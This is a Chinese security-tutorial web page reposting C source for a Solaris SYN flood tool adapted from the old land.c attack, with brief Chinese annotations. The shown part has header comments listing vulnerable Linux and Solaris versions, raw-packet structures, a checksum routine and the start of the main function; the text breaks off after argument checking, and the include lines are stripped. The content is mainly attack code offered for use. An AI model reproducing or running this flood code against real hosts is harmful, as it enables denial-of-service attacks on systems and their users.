当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 一个SYN攻击的源程序

安全基础
黑客攻击行为的特征分析及反攻击技术
Windows 2000中隐患重重的十大“服务”
网页脚本攻击防范全攻略
防患于未然 轻松做好Windows 2000安全策略
用注册表为操作系统砌九堵安全墙
完善网站程序 脚本攻击防范策略完全篇
两步修改XP远程管理默认端口可防止入侵
消除Windows XP自身的安全隐患
保护Windows不受恶意代码攻击
如何关闭和限制电脑不用的端口
修改Windows 2000远程终端默认端口
操作系统被入侵后的修复过程
利用微软基准安全分析器打造你安全的系统
数字签名技术简介
检测和删除系统中的木马
QQ密码破解程序
P2P中保障Windows网络安全
在代码中查找安全性缺陷的专家提示
QQ安全的三大纪律八项注意
如何保证文件夹的绝对安全

安全基础 中的 一个SYN攻击的源程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 88 ::
收藏到网摘: n/a


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* [email protected] */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}